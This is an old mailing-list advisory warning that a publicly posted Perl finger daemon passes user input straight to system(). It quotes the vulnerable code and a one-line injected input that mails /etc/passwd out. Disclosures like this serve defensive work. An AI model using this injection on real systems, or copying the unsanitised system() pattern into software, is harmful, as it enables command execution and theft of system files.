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perl fingerd stupidity
From: chris () VIPER NET (Chris Terry)
Date: Thu, 31 Jul 1997 14:34:43 -0500


Watch out for the perl fingerd currently posted at
ftp://sunsite.unc.edu/pub/Linux/network/finger/daemons

#!/usr/bin/perl
# fingerd - a simple finger daemon
$user = <STDIN>;
chop($user);
chop($user);
if(-e "/usr/lib/finger/$user"){
    system "/usr/bin/perl /usr/lib/finger/$user";
} else {
    system "/usr/bin/perl /usr/lib/finger/default $user";
}


[root () batleh perl-finger]# ./fingerd
|cat /etc/passwd|mail chris () viper net

and many others....



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